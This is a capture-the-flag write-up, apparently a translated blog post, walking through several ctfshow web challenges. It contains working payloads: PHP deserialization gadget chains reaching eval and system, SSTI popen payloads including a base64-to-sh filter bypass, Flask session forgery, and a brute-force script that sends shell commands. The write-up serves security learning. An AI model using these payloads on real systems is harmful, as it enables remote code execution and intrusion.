ctfshow Fool's Cup web reproduction

easy_signin

topic url

image-20230404183149808

Base64 decoding is face.png, try flag.txtand flag.php, the input after base64 encryption is wrong, use index.phpencryption and input, see the source code

image-20230404183412221

Decrypt the following base64 to get the flag

image-20230404183454406

The forgotten deserialization

source code

<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");

class EeE{
    
    
    public $text;
    public $eeee;
    public function __wakeup(){
    
    
        if ($this->text == "aaaa"){
    
    
            echo lcfirst($this->text);
        }
    }

    public function __get($kk){
    
    
        echo "$kk,eeeeeeeeeeeee";
    }

    public function __clone(){
    
    
        $a = new cycycycy;
        $a -> aaa();
    }
    
}

class cycycycy{
    
    
    public $a;
    private $b;

    public function aaa(){
    
    
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
    
    
            eval($_POST["eval"]);
        }
    }


    public function __invoke(){
    
    
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}

class gBoBg{
    
    
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
    
    
        if(isset($this->name)){
    
    
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
    
    
            return $this->coos->name;
        }else{
    
    
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    
    
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
    
    
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
    
    
            $this->key = file_get_contents($this -> file);
        }else{
    
    
            echo "不行哦";
        }
    }

    public function __destruct(){
    
    
        echo $this->aaa;
    }

    public function __invoke(){
    
    
        $this -> aaa = clone new EeE;
    }
}

$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

First look at how to pass parameters

$_ip = $_SERVER["HTTP_AAAAAA"];

This sentence means to receive the value of the aaaaaa parameter in the header, such as this

image-20230404223656400

Then it is prompted that there is a txt, but I don’t know what the name is, try to read the file name

Look at this class again

class gBoBg{
    
    
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
    
    
        if(isset($this->name)){
    
    
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
    
    
            return $this->coos->name;
        }else{
    
    
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

there is one

 $a = new $this->coos($this->file);

coosand fileare controllable, so you can use php native classes to read files

GlobeIterator

The GlobIterator class can also traverse a file directory, but it is slightly different from the above in that its behavior is similar to glob(), and it can find file paths through pattern matching.

Its characteristic is that it can be traversed only by knowing part of the name

For example

<?php
$dir=new GlobIterator("/*flag*");
echo $dir;

Then find a way to trigger __toString(), you can pass EeEthe class

class EeE{
    
    
    public $text;
    public $eeee;
    public function __wakeup(){
    
    
        if ($this->text == "aaaa"){
    
    
            echo lcfirst($this->text);

To trigger, because the if statement must be echo lcfirst($this->text);satisfiedtext==a

<?php
class EeE{
    
    
    public $text = 'a';
    public $eeee;

}

class gBoBg{
    
    
    public $name = '123';
    public $file = '*txt';
    public $coos = 'GlobIterator';
}
$e = new EeE();
$e ->text = new gBoBg();
echo serialize($e);

//O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";s:3:"123";s:4:"file";s:4:"*txt";s:4:"coos";s:12:"GlobIterator";}s:4:"eeee";N;}

image-20230404233020353

Got it , and then the official wp said that it cannot be read directly in the root directory, but in fact it seems that it can be read h1nt.txtwith native classes in this directorySplFileObject

<?php
class EeE{
    
    
    public $text = 'a';
    public $eeee;

}

class gBoBg{
    
    
    public $name = '123';
    public $file = 'h1nt.txt';
    public $coos = 'SplFileObject';
}
$e = new EeE();
$e ->text = new gBoBg();
echo serialize($e);

//O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";s:3:"123";s:4:"file";s:8:"h1nt.txt";s:4:"coos";s:13:"SplFileObject";}s:4:"eeee";N;}

But the reading is different from the official wp, there is no key

image-20230404233854972

Try to use the file pseudo-protocol to read

<?php
class EeE{
    
    
    public $text = 'a';
    public $eeee;

}

class gBoBg{
    
    
    public $name = '123';
    public $file = 'php://filter/convert.base64-encode/resource=h1nt.txt';
    public $coos = 'SplFileObject';
}
$e = new EeE();
$e ->text = new gBoBg();
echo serialize($e);

//O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";s:3:"123";s:4:"file";s:52:"php://filter/convert.base64-encode/resource=h1nt.txt";s:4:"coos";s:13:"SplFileObject";}s:4:"eeee";N;}

image-20230404234155231

read it all

image-20230404234240120

#用于check.php 
key:qwertyuiopasdfghjklzxcvbnm123456789 
move:2~4

Guess (see wp)

Among them, move means to move, guess this is a shift encryption, guess that the key is the range, then there are 3 possibilities to the left, and there are 3 possibilities to the right, but prompt 2 prompts us random-random, then the encryption is possible It is 2~7 random, so every time it is exactly equal is the probability of 1/24

After that, I will find a way to construct a chain to trigger the utilization evalfunction.

<?php
class EeE{
    
    
    public $text = 'a';
    public $eeee;

}

class cycycycy{
    
    
    public $a;

}

class gBoBg{
    
    
    public $name;
    public $file = '1';
    public $coos;

}

class w_wuw_w{
    
    
    public $aaa;
    public $key;
    public $file;

}

$a = new EeE();
$a ->text = new gBoBg();
$a ->text ->coos = new w_wuw_w();
$a ->text ->coos ->aaa = new cycycycy();
echo serialize($a);

//O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:1:"1";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";O:8:"cycycycy":1:{s:1:"a";N;}s:3:"key";N;s:4:"file";N;}}s:4:"eeee";N;}

After that, you can use the script to blast the key, and post an official script

import requests
import re

mi = ['i6xstx6d6x6ir','u5zarz5s5z5ue','y4lpel4a4l4yw','sqnhonqjqnqsi','dwmjpmwkwmwdo','fe1ka1ele1efp']
d = 1
while d<2:
    for i in mi:
        data = {
    
    
            'eval':'system("cat /f1agaaa");'
        }
        url = f"http://67423f19-3ba4-41b5-9e10-716ce8f5e683.challenge.ctf.show/index.php?get={
      
      i}"
        header = {
    
    
            'aaaaaa':'O:3:"EeE":2:{s:4:"text";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:1:"1";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";O:8:"cycycycy":1:{s:1:"a";N;}s:3:"key";N;s:4:"file";N;}}s:4:"eeee";N;}'
        }
        reqpose = requests.post(url=url,data=data,headers=header).text
        re_text = re.findall(r"(?<=</code>).*", reqpose, re.S)
        if '' not in re_text:
            print(re_text[0])
            d += 1

Dark web chat room (fake web real password)

Will not put the password directly on the official wp

1. The initial chat interface

img

Key information:

  • 1. Prompt to access port 9999 locally, there may be SSRF
  • 2. Prompt to visit the "click me to enter the universe mall" link
  • 3. Prompt that FLAG exists in the slogans sent to other people by popular websites
  • 4. Propaganda length > 128
  • 5. The plug-in in the upper right corner can be used

2. Click on the plug-in, a new page appears

image-20230405120303218

The principle of anonymity is introduced, and the encryption code is attached

  • \1. It can be seen that the encryption is a group of 128, thinking that the length of the slogan is >128, indicating that FLAG and some words form a group, and the IP of the next node and some words form a group
  • \2. At the top is the private key intercepted by the plug-in, the original data sent, the data decrypted with its own private key, and the send button, similar to Burp's package change function
  • \3. From the original data length of 18944, it can be deduced that you are located at node 1. First try to encrypt locally

image-20230405120319554

It is found that the encrypted length of a group is 512, while the encryption is 128

image-20230405120334385

3. Visit "click me to enter the universe mall"

See if you can use SSRF to get sensitive information

image-20230405120351623

You can see your own IP, thinking that encryption also uses IP, it may be useful to check robots.txt

image-20230405120402666

View shop.py.bak

image-20230405120415647

Think of local access to port 9999 /shop?api=127.0.0.1:9999

image-20230405120429341

Obtain the public keys of the 3 nodes, you can encrypt and decrypt by yourself through the website's public key 1 and your own private key 1, and find that it is feasible, indicating that the website is user A. If you want to encrypt your own IP, and then replace " The IP of user B in the decrypted data ", then the final plaintext will be sent to itself

4. Construct Payload

still this picture

image-20230405120442584

The second line is the "decrypted data" in the plug-in. You can see that the second 4*512 is the IP of user B. Use two public keys to encrypt your own IP and replace it:

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from flask import Flask, request, abort
# 加密
def encrypt(plaintext, public_key):
 cipher = PKCS1_v1_5.new(RSA.importKey(public_key))
 ciphertext = ''
 for i in range(0, len(plaintext), 128):
 ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf8')).hex()
 return ciphertext
IP = '2.56.12.89'
plaintext_half = '拦截的 解密后的数据'
# 公钥开头、结尾有俩\n
public_key2 = '-----BEGIN PUBLIC KEY-----\nxxx\n-----END PUBLIC KEY--
---'
public_key3 = '-----BEGIN PUBLIC KEY-----\nxxx\n-----END PUBLIC KEY--
---'
IP_ciphertext = encrypt(IP, public_key3)
IP_ciphertext = encrypt(IP_ciphertext, public_key2)
# 替换最终 IP
plaintext_half_new = plaintext_half[:2048] + IP_ciphertext + 
plaintext_half[4096:]
print(plaintext_half_new)

Replace the "decrypted data" with the newly generated data, and send it to get FLAG because the IP that is finally passed is your own

image-20230405120510490

5. A shuttle script

import re
import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from flask import Flask, request, abort

url = 'http://xxx.challenge.ctf.show/' # 题目URL,先等几秒再运行

# 加密
def encrypt(plaintext, public_key):
    cipher = PKCS1_v1_5.new(RSA.importKey(public_key))

    ciphertext = ''
    for i in range(0, len(plaintext), 128):
        ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()

    return ciphertext

def get_plaintext_half():
    text = requests.get(url+'/update').text
    return re.findall('[^@]*\.92', text)[0]

def get_public_key(public_key):
    text = requests.get(url+'/shop?api=127.0.0.1:9999').text
    return re.findall('-----BEGIN PUBLIC KEY-----\n.*\n.*\n.*\n.*\n.*\n.*\n.*\n-----END PUBLIC KEY-----', text)[public_key-1]

IP = '2.56.12.89'
plaintext_half = get_plaintext_half() # 获取解密后的数据

# 获取公钥2、3
public_key2 = get_public_key(2).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')
public_key3 = get_public_key(3).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')

# 两次加密
IP_ciphertext = encrypt(IP, public_key3)
IP_ciphertext = encrypt(IP_ciphertext, public_key2)

# 替换最终IP
plaintext_half_new = plaintext_half[:2048] + IP_ciphertext + plaintext_half[4096:]

# 请求
requests.post(url + '/pass_message',data = {
    
    'message':plaintext_half_new})
# 接收明文
text = requests.get(url+'/update').text
flag = re.findall('ctfshow{.*}', text)[0]
print(flag)
input()

easy_ssti

Look at the source code, prompt app.zip, visit and download it

image-20230405003551238

The template rendering is in the hello directory, try to inject

image-20230405003719284

There are ssti vulnerabilities, without any filtering, you can construct it yourself or directly Baidu

/{
    
    {
    
    ().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}

But when reading the flag, it seems to filter / and f, just use base64 to read

{
    
    {
    
    ().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('echo "Y2F0IC9mbGFn"|base64 -d|sh').read()}}

image-20230405003934859

easy_flask

A login page, just register an account and log in

image-20230405004205502

You need an admin account, but you can see the source code

image-20230405004238489

The key is given here, and 80% of it is sessionforged. Log in and capture the packet to get the session

key=S3cr3tK3y

image-20230405004521164

use flask_session_cookie_manager3decryption

image-20230405004749051

Change user to admin and then encrypt

image-20230405004913311

Modify the session to send a package to log in

image-20230405005153261

But here is only a fake flag, look at the source code and find

image-20230405005251266

There should be an arbitrary file download, try downloading the source code

/download/?filename=app.py

successfully obtained the source code

See it in the source code

image-20230405005518138

The command can be executed directly under the hello route

image-20230405005732756

/hello/?eval=__import__("os").popen("cat /flag_is_h3re").read()

easy_php

source code

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{
    
    

    public function __wakeup(){
    
    
        die("not allowed!");
    }

    public function __destruct(){
    
    
        system($this->ctfshow);
    }

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    
    
    unserialize($data);
}

?>

Don't look at the filter first, as long as the function is being executed __destruct(), systemassign ctfshowa value

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{
    
    

    public function __wakeup(){
    
    
        die("not allowed!");
    }

    public function __destruct(){
    
    
        system($this->ctfshow);
    }

}
$a = new ctfshow();
$a -> ctfshow = 'whoami';
echo serialize($a);
?>

    
 //O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}

image-20230405113920158

Look at the filter again

if(!preg_match("/^[Oa]:[\d]+/i", $data))

Serialized values ​​starting with O and a cannot be passed in, that is, serialized values ​​of objects and arrays.

In the lower version of php, a + can be added before the number after the colon of O or a to bypass. But the version of this question is 7.3 and cannot be bypassed

Look at other masters, you can replace 0 with C to bypass

payload

C:7:"ctfshow":1:{
    
    s:7:"ctfshow";s:6:"whoami";}

But it doesn't make sense to put it in the title

The guess is that the ctfshow class in the title does not implement the serializable interface, so this property cannot be parsed. So find the built-in class in php that implements the Serializable interface

Wp uses ArrayObject()a class, use this class to modify ctfshowthe class

<?php

class ctfshow{
    
    
    public $ctfshow = 'whoami';

}
$a= new ArrayObject();
$a -> a = new ctfshow();
echo serialize($a);
?>

 //C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}

image-20230405114303695

echo successfully

image-20230405115145316

final payload

?1%2b1>2=C:11:"ArrayObject":75:{
    
    x:i:0;a:0:{
    
    };m:a:1:{
    
    s:1:"a";O:7:"ctfshow":1:{
    
    s:7:"ctfshow";s:7:"cat /f*";}}}

easy_class (no)

Directly enlarge the guy's wp

Guess you like

Origin blog.csdn.net/qq_63928796/article/details/129968742